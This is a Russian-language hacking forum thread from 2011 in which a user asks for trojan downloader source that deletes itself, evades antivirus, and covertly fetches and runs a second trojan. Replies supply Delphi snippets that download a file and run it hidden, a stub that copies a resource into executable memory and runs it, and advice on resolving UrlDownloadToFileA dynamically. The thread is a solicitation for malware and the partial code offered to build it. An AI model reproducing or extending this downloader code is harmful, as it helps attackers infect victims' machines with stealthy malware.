Trojan.Downloader
|
-Drayver-
|
Дата: Пятница, 11.03.2011, 15:28 | Сообщение # 1
|
Участник
Группа: Пользователи
Сообщений: 10
Статус: Offline
|
Поделитесь исходником етого трояна.
Если возможно сразу с даннымы функциямы.Главное чтоб не палим был.
После открытия троя - он самоудаляется,скачеет с данного сервера второй трой он весит 3.2м второй трой тоже самоудаляеться только требуется чтобы трой скачал скритно и запустил файл.
Если можно(было бы не плохо поставить таймер на скачку а точнее чтобы не сразу скачал)
Всем заранее спасибо.Надеюсь на вашу помощь. |
|
|
|
|
gravitas
|
Дата: Пятница, 11.03.2011, 18:26 | Сообщение # 2
|
Авторитетный
Группа: Модераторы
Сообщений: 371
Статус: Offline
|
Модуль UrlMon. Процедура UrlToFile вроде бы.
Тут вопросы, а не заказы на софт, да еще и за бесплатно. |
|
|
|
|
Anton93
|
Дата: Пятница, 11.03.2011, 19:19 | Сообщение # 3
|
Частый гость
Группа: Пользователи
Сообщений: 62
Статус: Offline
|
за валюту всё решаемо  |
|
|
|
|
Sector009
|
Дата: Суббота, 16.07.2011, 19:40 | Сообщение # 4
|
Новичок
Группа: Пользователи
Сообщений: 6
Статус: Offline
|
Code
program pr1;
uses
urlmon,
ShellApi,
windows,
Sockets;
procedure d1;
var
file,dir,site:string;
Begin
UrlDownLoadToFile(nil, Pchar(site+'/ '+file), Pchar(dir+'/ '+file), 0, nil);
ShellExecute(0,' OPEN',dir+'/'+file,Nil,Nil, SW_HIDE);
sleep(100);
exit;
end;
begin
end.
Gravitas: используем теги.
|
|
|
|
|
raviti2
|
Дата: Суббота, 16.07.2011, 21:30 | Сообщение # 5
|
Участник
Группа: Пользователи
Сообщений: 15
Статус: Offline
|
Доступно только для пользователей
Code
program Stub;
const
cURL : PAnsiChar = 'http://www.google.co.za/intl/en_com/images/srpr/logo1w.png';
cFile : PAnsiChar = 'C:\GoogleLogo.png';
const
kernel32 = 'kernel32.dll';
MEM_COMMIT = $1000;
PAGE_EXECUTE_READWRITE = $40;
MEM_RELEASE = $8000;
function GetProcAddress(hModule: Cardinal; lpProcName: PAnsiChar): Pointer; stdcall; external kernel32 name 'GetProcAddress';
function LoadLibraryA(lpLibFileName: PAnsiChar): Cardinal; stdcall; external kernel32 name 'LoadLibraryA';
function FindResourceW(hModule: Cardinal; lpName, lpType: PWideChar): Cardinal; stdcall; external kernel32 name 'FindResourceW';
function LoadResource(hModule: Cardinal; hResInfo: Cardinal): Cardinal; stdcall; external kernel32 name 'LoadResource';
function SizeofResource(hModule: Cardinal; hResInfo: Cardinal): LongWord; stdcall; external kernel32 name 'SizeofResource';
function VirtualAlloc(lpvAddress: Pointer; dwSize, flAllocationType, flProtect: LongWord): Pointer; stdcall; external kernel32 name 'VirtualAlloc';
function VirtualFree(lpAddress: Pointer; dwSize, dwFreeType: LongWord): Boolean; stdcall; external kernel32 name 'VirtualFree';
const
cFuncIn : PWideChar = 'FUNCIN';
type
TGetProcAddress = function (hModule: Cardinal; lpProcName: pAnsiChar): Pointer; stdcall;
TLoadLibraryA = function(lpLibFileName: PAnsiChar): Cardinal; stdcall;
TFuncInRecord = Record
xGetProcAddress : TGetProcAddress;
xLoadLibraryA : TLoadLibraryA;
end;
PFuncInRecord = ^TFuncInRecord;
PFuncIn = ^TFuncIn;
TFuncIn = procedure(pData : PFuncInRecord; lpTitle, lpMessage : pAnsiChar);
procedure ResGet(ResName: pwidechar; var data : pointer; var Size:LongWord);
var
ResSrc: Cardinal;
ResGlobal: Cardinal;
begin
ResSrc := FindResourceW(0, ResName, PWideChar(10));
ResGlobal := LoadResource(0, ResSrc);
Data := Pointer(ResGlobal);
Size := SizeofResource(0, ResSrc);
end;
procedure CopyMemory(Destination, Source:Pointer; dwSize:LongWord);
asm
PUSH ECX
PUSH ESI
PUSH EDI
MOV EDI, Destination
MOV ESI, Source
MOV ECX, dwSize
REP MOVSB
POP EDI
POP ESI
POP ECX
end;
var
FuncIn : TFuncIn;
pResource : Pointer;
dwResourceSize : LongWord;
AFuncInRecord : TFuncInRecord;
begin
AFuncInRecord.xGetProcAddress := @GetProcAddress;
AFuncInRecord.xLoadLibraryA := @LoadLibraryA;
ResGet(cFuncIn, pResource, dwResourceSize);
FuncIn := VirtualAlloc(nil, dwResourceSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
CopyMemory(@FuncIn, pResource, dwResourceSize);
FuncIn(@AFuncInRecord,cUrl, cFile);
VirtualFree(@FuncIn, 0, MEM_RELEASE);
end.
Сообщение отредактировал raviti2 - Суббота, 16.07.2011, 21:32
|
|
|
|
|
gravitas
|
Дата: Воскресенье, 17.07.2011, 19:53 | Сообщение # 6
|
Авторитетный
Группа: Модераторы
Сообщений: 371
Статус: Offline
|
raviti2, вы не так поняли значение слова "лоадер"... Посмотрите пост №4 - там примерно то, что нужно было ТС'у.
TheDeduction

Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
|
|
|
|
|
Lauri
|
Дата: Пятница, 29.07.2011, 12:45 | Сообщение # 7
|
Новичок
Группа: Пользователи
Сообщений: 4
Статус: Offline
|
А как например выдрать функцию UrlDownloadToFIle из urlmon? |
|
|
|
|
C@T
|
Дата: Пятница, 29.07.2011, 21:08 | Сообщение # 8
|
Авторитетный
Группа: Модераторы
Сообщений: 226
Статус: Offline
|
Quote (Lauri)
А как например выдрать функцию UrlDownloadToFIle из urlmon?
можно просто написать что ты ее импортируешь, можно вызвать GetProcAddr и получить адресс функции
Code
GetProcAddr(LoadLibrary('urlmon.dll'),'UrlDownloadToFIleA');
а если тебе именно сам код функции нужен то можно дизасемблировать urlmon.dll и посмотреть в ней эту функцию
|
|
|
|
|
Lauri
|
Дата: Суббота, 30.07.2011, 16:20 | Сообщение # 9
|
Новичок
Группа: Пользователи
Сообщений: 4
Статус: Offline
|
Quote (C@T)
Quote (Lauri)А как например выдрать функцию UrlDownloadToFIle из urlmon? можно просто написать что ты ее импортируешь, можно вызвать GetProcAddr и получить адресс функции view plaincopy to clipboardprint?
GetProcAddr(LoadLibrary('urlmon.dll'),'UrlDownloadToFIleA');
GetProcAddr(LoadLibrary('urlmon.dll'),'UrlDownloadToFIleA');
а если тебе именно сам код функции нужен то можно дизасемблировать urlmon.dll и посмотреть в ней эту функцию
я смотрел urlmon.pas думал выдернуть саму функцию оттуда, как залез... столько кода что ппц + всё взаимосвязано так что хз как быть
|
|
|
|
|